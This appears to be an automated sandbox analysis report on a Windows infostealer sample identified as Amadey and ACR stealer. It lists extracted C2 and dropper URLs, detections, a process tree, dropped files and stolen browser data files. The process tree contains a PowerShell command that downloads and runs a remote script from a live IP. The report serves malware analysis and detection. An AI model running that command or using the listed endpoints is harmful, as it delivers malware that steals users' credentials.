Analysis

  • max time kernel
    299s
  • max time network
    247s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/11/2025, 12:30

General

  • Target
    Setup.exe
  • Size 1.7MB
  • Sample251108-ppf4psypbp
  • SHA256 9155314a52c72e0b5c43e6eb061b212b5c2f827ce61130e1675f02c6aa0bef3a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • acrstealer

Attributes
  • ddrs

    crl4.digicert.com

Extracted

Family
  • amadey

Version
  • 5.70

Botnet
  • 2265ca

C2
  • http://mi.huffproofs.com

Attributes
  • install_dir

    3be1510d5b

  • install_file

    Pwvoqdmgn.exe

  • strings_key

    13416e8592239dcfe754c2affc83cb4f

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Acrstealer family
  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects unpacked ACRstealer payload 6 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5228
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5144
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:4896
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:2092
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:2656
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:2468
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:4744
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:424
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5392
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2460
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4024
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 532
                      4⤵
                      • Program crash
                      PID:3100
                  • C:\Users\Admin\wr.exe
                    C:\Users\Admin\wr.exe
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:4500
                    • C:\Users\Admin\AppData\Local\Temp\is-AM4TJ.tmp\wr.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-AM4TJ.tmp\wr.tmp" /SL5="$B0224,18906120,882176,C:\Users\Admin\wr.exe"
                      4⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:2352
                      • C:\Users\Admin\wr.exe
                        "C:\Users\Admin\wr.exe" /VERYSILENT
                        5⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:1620
                        • C:\Users\Admin\AppData\Local\Temp\is-S8HSM.tmp\wr.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-S8HSM.tmp\wr.tmp" /SL5="$E002A,18906120,882176,C:\Users\Admin\wr.exe" /VERYSILENT
                          6⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of FindShellTrayWindow
                          PID:5344
                          • C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
                            "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe" tipper
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            PID:3808
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:2232
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:4940
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4024 -ip 4024
                    1⤵
                      PID:2516

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          7BA3CCA.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\7BA3CCA.tmp
                          • Size 1.2MB
                          • SHA256 60de4d4a354134a41ee09d0fb097153fd722b95f0ceca71106bc33d2e1ef6b49
                          • MD5 SHA1 SHA512 SSDEEP

                          B6F639E.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\B6F639E.tmp
                          • Size 40B
                          • SHA256 e4e4119be885d20a616bc5b68e3440774a76ca5f00ea1e40b17712f2434990ab
                          • MD5 SHA1 SHA512

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 b7843373d946900c1e28ea2f8a55d542c63d74db91037cfc4beb2e04986805e3
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 5d9b736c5b77349801271192b39f928fb081c77f64c21ac4a3fc666c10de6e94
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 130KB
                          • SHA256 cf93ce441c7a676daacaa920da8b4c78578db0fa12ba140a8c26b83ed99c7b7c
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_d0caqltl.nk2.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0caqltl.nk2.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          wr.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\is-AM4TJ.tmp\wr.tmp
                          • Size 3.6MB
                          • SHA256 c36d834949ecc463936800d1f100f642e2c65686a0b6d49aeac0af880f6f2000
                          • MD5 SHA1 SHA512 SSDEEP

                          MicrosoftEdgeUpdate.exe

                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
                          • Size 201KB
                          • SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
                          • MD5 SHA1 SHA512 SSDEEP

                          endpointService.exe

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
                          • Size 93KB
                          • SHA256 51182a4dc90f0d8019031e27f9fb8f8f2b8d73cd0c8f5ad5aac194c9f3f5c1e1
                          • MD5 SHA1 SHA512 SSDEEP

                          python38._pth

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38._pth
                          • Size 79B
                          • SHA256 df1f2a305dea16f99a05fffe0cb5fabf453aae7ab8924f7bd6cc440719e2e966
                          • MD5 SHA1 SHA512

                          python38.dll

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38.dll
                          • Size 3.7MB
                          • SHA256 c4220a975f093d52702f93f39cc0e7b56f9057f8b6af26c2a0b63f5a555d0e31
                          • MD5 SHA1 SHA512 SSDEEP

                          python38.zip

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38.zip
                          • Size 2.3MB
                          • SHA256 962f8d05631d598fe0e0ca726a2be700dd460541813177527399fb12534fc0e9
                          • MD5 SHA1 SHA512 SSDEEP

                          tipper

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\tipper
                          • Size 3KB
                          • SHA256 1f1dee824d00e2c726dc2dfd1c767bfdc1efd7ad3308caf2da9b1200e7142b39
                          • MD5 SHA1 SHA512

                          vcruntime140.dll

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\vcruntime140.dll
                          • Size 78KB
                          • SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
                          • MD5 SHA1 SHA512 SSDEEP

                          wr.exe

                          • Path C:\Users\Admin\wr.exe
                          • Size 21.7MB
                          • SHA256 354a72b6274ad1d82ba534bd4a1d6e76cb1e09dd59b28ab22e2b6ec3461468fb
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/424-42-0x000001B3C6670000-0x000001B3C6672000-memory.dmp

                          memory/1620-97-0x00000000003F0000-0x00000000004D7000-memory.dmp

                          memory/1620-87-0x00000000003F0000-0x00000000004D7000-memory.dmp

                          memory/1620-158-0x00000000003F0000-0x00000000004D7000-memory.dmp

                          memory/2092-30-0x000002A5068F0000-0x000002A5068F2000-memory.dmp

                          memory/2352-89-0x0000000000800000-0x0000000000BAE000-memory.dmp

                          memory/2460-160-0x0000000002280000-0x00000000022EF000-memory.dmp

                          memory/2460-48-0x0000000002400000-0x0000000002452000-memory.dmp

                          memory/2460-47-0x0000000000940000-0x0000000000943000-memory.dmp

                          memory/2468-36-0x00000137EC480000-0x00000137EC482000-memory.dmp

                          memory/2656-33-0x0000022069740000-0x0000022069742000-memory.dmp

                          memory/2704-19-0x00007FFB1956D000-0x00007FFB1956E000-memory.dmp

                          memory/2704-9-0x00007FFB1956D000-0x00007FFB1956E000-memory.dmp

                          memory/2704-21-0x00007FFB19550000-0x00007FFB1965A000-memory.dmp

                          memory/2704-10-0x00007FFB19550000-0x00007FFB1965A000-memory.dmp

                          memory/2704-12-0x00007FFB19550000-0x00007FFB1965A000-memory.dmp

                          memory/2704-0-0x00007FFB19550000-0x00007FFB1965A000-memory.dmp

                          memory/2872-95-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/2872-23-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/2872-20-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/2872-45-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/2872-14-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/2872-18-0x00007FFB28BE0000-0x00007FFB28DE9000-memory.dmp

                          memory/2872-24-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/4024-65-0x0000000001B10000-0x0000000001B13000-memory.dmp

                          memory/4024-72-0x0000000003F50000-0x0000000004560000-memory.dmp

                          memory/4024-71-0x0000000003F50000-0x0000000004560000-memory.dmp

                          memory/4024-70-0x0000000003F50000-0x0000000004560000-memory.dmp

                          memory/4024-66-0x0000000003F50000-0x0000000004560000-memory.dmp

                          memory/4500-76-0x00000000003F0000-0x00000000004D7000-memory.dmp

                          memory/4500-91-0x00000000003F0000-0x00000000004D7000-memory.dmp

                          memory/4744-39-0x000001E8E4980000-0x000001E8E4982000-memory.dmp

                          memory/4896-27-0x000002165AB10000-0x000002165AB12000-memory.dmp

                          memory/5144-26-0x00000226DA1C0000-0x00000226DA1C2000-memory.dmp

                          memory/5228-25-0x000001DDF7C00000-0x000001DDF7C02000-memory.dmp

                          memory/5344-101-0x00000000006E0000-0x0000000000A8E000-memory.dmp

                          memory/5344-148-0x00000000006E0000-0x0000000000A8E000-memory.dmp

                          memory/5344-155-0x00000000006E0000-0x0000000000A8E000-memory.dmp

                          memory/5392-55-0x0000000005F20000-0x0000000005F86000-memory.dmp

                          memory/5392-99-0x000000000C390000-0x000000000C3B2000-memory.dmp

                          memory/5392-100-0x000000000DA70000-0x000000000E016000-memory.dmp

                          memory/5392-98-0x000000000D420000-0x000000000D4B6000-memory.dmp

                          memory/5392-96-0x0000000074150000-0x0000000074901000-memory.dmp

                          memory/5392-84-0x0000000006960000-0x000000000697A000-memory.dmp

                          memory/5392-83-0x0000000007AE0000-0x000000000815A000-memory.dmp

                          memory/5392-64-0x0000000006510000-0x000000000655C000-memory.dmp

                          memory/5392-63-0x0000000006460000-0x000000000647E000-memory.dmp

                          memory/5392-62-0x00000000060A0000-0x00000000063F7000-memory.dmp

                          memory/5392-54-0x0000000005650000-0x00000000056B6000-memory.dmp

                          memory/5392-53-0x00000000054B0000-0x00000000054D2000-memory.dmp

                          memory/5392-52-0x00000000056C0000-0x0000000005CEA000-memory.dmp

                          memory/5392-46-0x0000000002FA0000-0x0000000002FD6000-memory.dmp